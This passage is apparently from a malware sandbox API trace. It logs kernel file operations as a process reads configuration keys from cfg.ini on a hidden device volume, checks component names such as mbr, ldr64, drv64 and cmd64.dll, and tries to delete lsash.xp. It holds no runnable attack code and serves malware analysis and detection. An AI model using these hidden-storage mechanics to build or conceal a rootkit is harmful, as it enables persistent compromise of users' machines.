returned 0x0 [0124.773] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.773] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.773] KeEnterCriticalRegion () [0124.773] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.773] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.773] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.773] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.773] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.773] IdePortDispatch () returned 0x103 [0124.773] KeWaitForMutexObject () returned 0x0 [0124.773] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.773] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.773] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.773] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.773] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.773] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf39c0 [0124.773] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.773] KeLeaveCriticalRegion () [0124.773] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.773] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.774] KeEnterCriticalRegion () [0124.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.774] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.774] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.774] KeLeaveCriticalRegion () [0124.774] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.774] KeEnterCriticalRegion () [0124.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.774] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.774] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.774] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.774] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.774] IdePortDispatch () returned 0x103 [0124.774] KeWaitForMutexObject () returned 0x0 [0124.774] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.774] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.774] KeLeaveCriticalRegion () [0124.774] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.774] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.774] KeEnterCriticalRegion () [0124.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.774] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ba000 [0124.774] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.774] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.774] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.774] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.774] IdePortDispatch () returned 0x103 [0124.774] KeWaitForMutexObject () returned 0x0 [0124.774] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.775] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.775] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.775] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.775] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.775] IdePortDispatch () returned 0x103 [0124.775] KeWaitForMutexObject () returned 0x0 [0124.775] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.775] KeLeaveCriticalRegion () [0124.775] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.775] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.775] KeEnterCriticalRegion () [0124.775] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.775] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.775] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.775] KeLeaveCriticalRegion () [0124.775] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.775] KeEnterCriticalRegion () [0124.775] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.775] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.775] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.775] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.775] KeLeaveCriticalRegion () [0124.775] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.776] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.776] KeEnterCriticalRegion () [0124.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.776] ExFreePoolWithTag (P=0xfffffa8003bf39c0, Tag=0x0) [0124.776] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.776] KeLeaveCriticalRegion () [0124.776] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.776] ReleaseMutex (hMutex=0xf0) returned 1 [0124.776] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.776] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.776] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.776] KeEnterCriticalRegion () [0124.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.776] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.776] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.776] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.776] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.776] IdePortDispatch () returned 0x103 [0124.776] KeWaitForMutexObject () returned 0x0 [0124.776] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.776] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.776] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.776] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.776] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.776] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3780 [0124.776] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.776] KeLeaveCriticalRegion () [0124.776] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.776] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.776] KeEnterCriticalRegion () [0124.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.776] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.776] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.776] KeLeaveCriticalRegion () [0124.777] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.777] KeEnterCriticalRegion () [0124.777] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.777] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.777] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.777] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.777] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.777] IdePortDispatch () returned 0x103 [0124.777] KeWaitForMutexObject () returned 0x0 [0124.777] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.777] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.777] KeLeaveCriticalRegion () [0124.777] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.777] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.777] KeEnterCriticalRegion () [0124.777] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.777] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035bb000 [0124.777] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.777] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.777] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.777] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.777] IdePortDispatch () returned 0x103 [0124.777] KeWaitForMutexObject () returned 0x0 [0124.777] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.777] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.777] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.777] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.777] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.777] IdePortDispatch () returned 0x103 [0124.778] KeWaitForMutexObject () returned 0x0 [0124.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.778] KeLeaveCriticalRegion () [0124.778] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.778] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.778] KeEnterCriticalRegion () [0124.778] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.778] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.778] KeLeaveCriticalRegion () [0124.778] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.778] KeEnterCriticalRegion () [0124.778] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.778] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.778] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf20e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.778] KeLeaveCriticalRegion () [0124.778] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.778] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.778] KeEnterCriticalRegion () [0124.778] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.778] ExFreePoolWithTag (P=0xfffffa8003bf3780, Tag=0x0) [0124.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.778] KeLeaveCriticalRegion () [0124.779] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.779] ReleaseMutex (hMutex=0xf0) returned 1 [0124.779] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.779] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.779] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.779] KeEnterCriticalRegion () [0124.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.779] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.779] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.779] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.779] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.779] IdePortDispatch () returned 0x103 [0124.780] KeWaitForMutexObject () returned 0x0 [0124.780] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.780] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.780] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.780] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.780] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.780] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3ad0 [0124.780] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.780] KeLeaveCriticalRegion () [0124.780] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.780] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.780] KeEnterCriticalRegion () [0124.780] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.780] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.780] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.780] KeLeaveCriticalRegion () [0124.780] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.781] KeEnterCriticalRegion () [0124.781] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.781] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.781] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.781] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.781] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.781] IdePortDispatch () returned 0x103 [0124.781] KeWaitForMutexObject () returned 0x0 [0124.781] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.781] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.781] KeLeaveCriticalRegion () [0124.781] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.781] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.781] KeEnterCriticalRegion () [0124.781] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.781] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035bc000 [0124.781] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.781] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.781] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.781] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.781] IdePortDispatch () returned 0x103 [0124.781] KeWaitForMutexObject () returned 0x0 [0124.781] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.781] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.781] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.781] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.781] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.781] IdePortDispatch () returned 0x103 [0124.782] KeWaitForMutexObject () returned 0x0 [0124.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.782] KeLeaveCriticalRegion () [0124.782] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.782] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.782] KeEnterCriticalRegion () [0124.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.782] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.782] KeLeaveCriticalRegion () [0124.782] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.782] KeEnterCriticalRegion () [0124.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.782] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.782] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.782] KeLeaveCriticalRegion () [0124.782] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.782] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.782] KeEnterCriticalRegion () [0124.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.782] ExFreePoolWithTag (P=0xfffffa8003bf3ad0, Tag=0x0) [0124.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.782] KeLeaveCriticalRegion () [0124.783] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.783] ReleaseMutex (hMutex=0xf0) returned 1 [0124.783] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.783] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.783] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.783] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.783] KeEnterCriticalRegion () [0124.783] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.783] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.783] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.783] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.783] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.783] IdePortDispatch () returned 0x103 [0124.783] KeWaitForMutexObject () returned 0x0 [0124.783] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.783] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.783] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.783] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.783] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.783] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.783] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.783] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.783] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.783] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.783] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.783] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.783] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.783] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.783] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.783] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.783] KeLeaveCriticalRegion () [0124.783] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.784] DeleteFileA 